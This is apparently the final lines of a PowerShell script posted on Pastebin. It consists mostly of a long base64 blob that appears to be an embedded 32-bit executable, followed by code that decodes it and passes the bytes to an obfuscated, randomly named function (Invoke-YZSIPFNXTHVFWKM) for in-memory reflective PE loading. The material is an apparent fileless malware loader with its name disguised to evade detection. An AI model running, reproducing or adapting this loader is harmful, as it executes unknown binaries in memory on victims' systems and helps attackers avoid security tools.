AMwgzEDMYMyAzKDMwMzgzQDNIM1AzWDNgM2gzcDN4M4AziDOQM5gzoDOoM7AzuDPAM8gz0DPYM+Az6DPwM/gzADQINBA0GDQgNCg0MDQ4NEA0SDRQNFg0YDRoNHA0eDSANIg0kDSYNKA0qDSwNLg0wDTINNA02DTgNOg08DT4NAA1CDUQNRg1IDUoNTA1ODVANUg1UDVYNWA1aDVwNXg1gDWINZA1mDWgNag1sDW4NcA1yDXQNdg14DXoNfA1+DUANgg2EDYYNiA2KDYwNjg2QDYAAABwAABEAAAAVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NAAAAIAAAAwAAAAMMAAAAKAAAJwAAACkPKg8sDwYPRw9LD0wPTg9UD1gPWQ9dD14PXw9hD2cPaw9sD3APcQ9yD3QPeg9+D38PQw+ED4UPhg+ID44Pkg+TD5cPmA+ZD5oPnA+iD6YPpw+rD6wPrQ+vD7UPuQ+6D7wPgg/GD8cPyw/MD80Pzg/QD9YP2g/bD98P4A/hD+IP4w/lD+sP7w/wD/QP9Q/2D/gP/g/ALAAACQBAAAIMAwwHDAgMCgwQDBQMFQwZDBoMGwwcDB4MJAwoDCkMLQwuDC8MMQw3DBTNFg0YjRzNHg0gjSTNJg0ojSzNLg0wjTRNOE08TT9NAc1EzUnNTI1ODU+NVk1YzVqNW81djV7NYI1hzWONZM1mjWfNaY1qzWyNbc1vjXDNco1zzXWNds14jXnNe418zX6Nf81BjYLNhI2FzYeNiM2KjYvNjY2OzZCNkc2TjZTNlo2XzZmNms2cjZ3Nn42gzaKNo82ljabNqI2pzauNrM2uja/NsY2yzbSNtc23DYDNw03GTcoNy43jDe2N+g3ODlVOf05NDqGOpU67jp2PIU82TxWPmg+hz6oPrE+tz6+Psw+Bz8NPxc/Hz85P3I/iD8AAADAAABEAAAABTBNMFcwcjF4MX4xhTGTMc4x1DHeMeYxADI5Mk8yzDLmMhozPDRrNKw02zQcNUs1jDXHNfE7oT6xPgAAANAAAOAAAAAWMCgwQDBHMFIwXjBqMIYwjzCXML4w5DDtMPUwDzEmMW4xdTHfMeUxADIFMgwyLzKAMoYykjKeMqoyxjLPMtcy/jIkMy0zNTNPM2YzrjO1Mx80JTRANEU0TDRvNCY2ODZPNmU2lDaxNsE2zTbfNv82CDcWN0s3ZDd7N6E3sDfCNwg4STiTOaQ5qzm2Odk59jkFOjA6dDqHOs869Tr7Ogc7DTt4O487lTuhO6c7gzyTPJk8njylPKs8sTy5PMI8zTzTPNg83zzlPOs88zz8PKs+tz7CPss+AAAA4AAAUAAAAMY03DTyNAw1LzXsNfI1+DX/NQ02XTZjNm02dTaPNtA2KzcxN0E3Rzf5N5g4njiuOLQ4Yzn3Of05DToTOsI6VjtcO2w7cjskPADwAABMAAAAeTCMMA0xIDE4MT8xVjJoMn4ylzKtMtYy+DJwNSY2NTZyNoo2szbYNuU2JDdkN4U3mjfZN+o3+jdWOWg5xjvYOxY/KD8AAAEAaAAAAHQwiTCRMKcwvTDTMOkw/zAVMSsxQTFXMVIzszPbNAQ3FDd5OIk4FjkmOY868zr5Ov86BjsUO2Q7ajt0O3w7Lz1CPVY91j7oPv0+Dz8oPz4/VD9qP4A/lj+sP8I/2D/uPwAQAQBwAAAAATAUMCcwOjBNMGAwczCGMJkwrDC/MNYw5TD4MEY4VTh9OIc4mjgGORU5NjtFO147aDtxO3c7hjuZO+w78zs+PLk8vzzFPMw82jwVPRs9JT0tPUc9gD2WPbE95T29Puw+LT9cP50/zD8AIAEApAEAAA0wPDB9MKwwNzFzMosykTKhMtwyBzMmM0EzXDN7M5YzpjO3M8gz3zMMNDk0ZjSTNMA09DQUNSo1MTU3NTw1XjV3NdQ19jUrNkY2VDauNsE2HDdJN9Y38jdUOGI4bzjPOBw5Ljk7Ob45zznhOfo5Ljo6OkE6aDqIOqA6qDq4Oso60jriOus69zoEOwo7ETsYOx07IzspOy47NDs6Oz87RTtLO1A7VjtcO2E7ZzttO3I7eDt+O4M7iTuPO5Q7mjugO6U7qzuxO7Y7vDvCO8c7zTvTO9g73jvkO+k77zv1O/o7ADwGPAs8ETwXPBw8IjwoPC08Mzw5PD48RDxKPE88VDxbPGA8ZjxsPHE8dzx9PII8iDyOPJM8mTyfPKQ8qjywPLU8uzzBPMY8zDzSPNc83TzjPOg87jz0PPk8/zwFPQo9ED0WPRs9IT0nPSw9Mj04PT09Qz1JPU49VD1aPV89ZT1rPXA9dj18PYE9hz2NPZI9mD2ePaM9qD2vPbQ9wj3aPQE+JD4+Pkw+YT5xPoM+qD62Pr4+bj+aP80/8z8AMAEAJAEAAAIwGTAfMCUwKzAxMDcwPTBSMGcwbjB0MIYwkDD4MAUxLTE/MaIxyzEyMl0ycjJ3MnwynTKiMq8y6TLHMxw0UzQcNSU1MDU3NVc1XTVjNWk1bzV1NXw1gzWKNZE1mDWfNaY1rjW2Nb41yjXTNdg13jXoNfI1AjYSNiI2KzZLNmM2aTZzNoo2uzbYNus2+TYUNx83sze8N8Q3ADgUOBs4SzhUOF04azh0OIU4ZjmGOZA5sznzOfk5RDpROm46vzrOOtc65Dr6OjQ7PTtWO1w7iDuOO7Q7vTvDO8s70DvjO/c7/DsPPCM8KzxEPHc8qTyzPMc80TzXPOI87zz2PBI9KT04PUM9TD1SPVg91T31PT0+VT5aPsE+Vz9oPwAAAEABAFwAAAAIMYYx1DL7MiYzdDOHM6UzszNhNZg1nzWkNag1rDWwNQY2SzZQNlQ2WDZcNvQ4BzklOTM54ToYOx87JDsoOyw7MDuGO8s70DvUO9g73Dt1Pog+AD8AUAEAUAAAADswwzD3MP8wETEeMUAxtTHWMeQx6jEFMi0yQTJdMmcycTJ/MpoyqzK3MgYzFTP1MyU2WDjROEE7gDuYO547qDveOwM8xz1jPgBgAQD8AAAAYDBlMJAwlTC8MNgw+DAGMQ0xEzFFMVExbjJ1MqsywjLQMtwy6DL+MiQzTjN2M5EzljObM7YzwzPMM9Ez1jPxM/szBzQMNBE0LDQ2NEI0RzRMNGo0dDSANIU0ijSrNLs00zQcNSU1gjWONQY2IzYvNlQ3QjhMOFk4jDi+OM842jgnOUo5UTllOXc5fjm0Ofc5BjpKOmA6aTqnOv86CzsXO1Y7czuiO607/DsWPCU8Mzw/PEs8WTxpPH48lTy4PM084zzwPP48DD0XPS09QT1MPWU9kj2ZPaQ9sj25Pb892j3hPfA9Dj4mPkE+TD6eP7Q/0j8AAABwAQDwAAAAGDArMDQwQTBQMGUwbzCCMIkwlTCtMLIwvjDDMNcwnjGlMbcxwDEOMhYyIDIpMjoyTDJdMp0yozK3MhczJTMuM6AzqTPiM+0z3zXpNQI2DDY+NkU2lDckOE04bjiJOJ44ozitOLI4vTjIONU44zjwOEE5lTmoObQ5xznqOXo6GTtoO3M7sjvdOzI8eTx9PIU8kTy3PPA8Bz0SPRo9JT0rPTY9PD1KPVs9bj2KPaM9qD3BPdI91z3lPfM9/z0SPhk+IT45Pkc+Tz5nPoA+tz7jPi4/Oj8/P0U/Sj9VP1s/Yz98P4E/ij/HPwCAAQDkAAAAUjBbMIgwkTAXMR8xJjGdMR8yOTI+MiI0XDRmNKc0uTT5NAQ1FjWVNt02Djc+N4k37jcEOKE4fjmFObM5ujnbOQQ6GTorOjg6UTpqOog6rzrEOtQ64ToKOxE7MjtbO3A7gjuPO6g7uTvDO+U79jsLPDs8bjyBPIs8kDyVPKU8qjyvPL88xDzJPNk83jzjPAg9JD0yPT49Sj1ePXQ9mj3IPdE9CT4hPjE+RT5KPk8+bD6FPoo+jz6sPtA+DT8xP0E/Rj9LP2Y/cD+AP4U/ij+lP7Q/vz/EP8k/5D/zPwCQAQC4AAAAADAFMAowKDA3MEIwRzBMMGcwdjCBMIYwizCsMLww9TAZMT0xWjFfMWQxfzGSMZcxnDG0Mb0xwjHNMfQxBjISMksyUTKoMq4y2jLgMvIyCzM7M34znDOnM/wzAzQKNBE0HjRxNHY0ezSANJI0UzVcNbo1wzXbNQc2LTZ5Npo2oTa4Ns422zbgNu42ZTedN8836jcmOF04bzijOMY4IDkwOeo5oDrmOtQ9uj6YP78/9T8AoAEAgAAAACQyajLQMusy9TJqM8Mz4jMFNFA0VzReNGU0fzSONJg0pTSvNL80FzVPNXc1azeYN9g35Df2Nzc4eTiCOIY4jDiQOJY4mjikOLc4wDjbOAg5Mjl0OfM5IDpHOpI6KzzZPCQ9kj3yPf89MD4+Pko+Wz5pPnQ+PD8AAACwAQCAAAAAkjCYMKYwtTB6MYExizGvMd8xFzLHMuEyHTMsMzozVzNfM4gzjzOrM7IzyTPfMxo0ITRxNIU0yTTbNO00/zQRNSM1NTVHNVk1azV9NY81oTXCNdQ15jX4NQo2ZTcuOMg4FTntOVY6gDqwOhY7TztmO4Y7/jsfPgAAAMABAIgAAAAnMgQzCzM/M0kzbDN2M48zwjPXM+gzSDReNK801TTtNDY1fzXeNRw2MTdxN7A34zcEOA84HTiqON04/DgOORg5PDldOco58DkZOjo6tTrbOgQ7IzvfOw88KzxePHs8mjxpPfc9Yz5tPr4++D79PjY/Pj9GP04/jj+aP7s/3z/rPwDQAQBoAAAAVjBJMVwxiDGPMbgxTTJ+MsAy9zIUMygzMzOAM8M0WDVoNXQ1hjWWNaI1qTbsNh43hjcGOJY4tjjGOHs5fDqMOp06pTq1OsY61TrSO0o8dzz7PJI9pj0DPg0+Nz68PnY/AOABAGgAAAA7MGgwlTDqMB0xajEIMkcyrjTzNkw4nTijOAI5CDkVOSA5MDlpOdk56zn9OTg8QzxJPFI8jDybPKc8tjzJPOg8Ez0uPXc9gD2JPZI9vT3fPQM+XT6+Phk/hz+mP9c/AAAA8AEAaAAAAMYw+TBxMYcx7zEsMjYyUTLOMvQzkDTJNug29DaCOO04BzkUOUQ5aDlzOYA5kjnaOfM5dzqMOpU6njq8OsI6xzrOOt467Dr9OhU7GzsnO0Y7TDvOPQg/Iz85P08/Vz8AAAAAAgBQAAAAvTLFM9YzCTURNRk1ITUpNUc1TzWxNb010TXdNek1CTZQNno2gjafNq82uzbKNrM3GTgSOS45JjorOj06WzpvOnU64j0WPwAAABACAHgBAABNMAUxVTGvMfUxOjKNMlYzyzMENDs0ezQWNTM2ZDaCNsw2+TYuN0k3YjdsN583qTezN8I3zDf3NwE4CzgiOCw4VzhhOGs4gjiMOLc4wTjLOOI47DgXOSE5KzlCOUw5dzmBOYs5ojmsOdc54TnrOfc5AToYOjg6QDpIOlQ6dDp8OoQ6kDqwOrg6wDrIOtA62DrkOgQ7DDsYOzg7QDtIO1Q7dDt8O4Q7kDu0O7w7xDvMO9Q73DvkO+w79Dv8OwQ8DDwUPBw8JDwsPDQ8PDxEPEw8VDxcPGQ8bDx4PJw8pDysPLQ8vDzEPMw81DzgPAA9DD0sPTg9WD1oPYw9lD2cPaQ9rD20Pbw9xD3MPdQ93D3kPew9+D0cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+8D4QP0A/YD9oP3A/eD+AP4g/kD+UP5w/sD+4P8w/1D/oP/A/+D8AAAAgAgDIAAAAADAEMAgwEDAkMCwwNDA8MEAwRDBMMGAwaDB8MIQwjDCYMLgwxDDkMOww9DD4MPwwADEIMRwxJDE4MVQxWDF0MXgxgDGIMZAxlDGYMaAxtDHMMdAx8DH4MfwxGDIgMiQyNDJYMmQybDKUMpgytDK4MsAyyDLQMtQy3DLwMgwzEDMsMzAzUDNsM3AzkDOwM9Az8DMQNDA0UDRwNJA0sDTQNPA0EDUwNVA1cDWQNbA10DXwNRA2LDYwNlA2bDZwNgAAAEACAAwAAACAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
  2760.  
  2761. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2762. Invoke-YZSIPFNXTHVFWKM -PEBytes $PEBytes
  2763.  
  2764. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top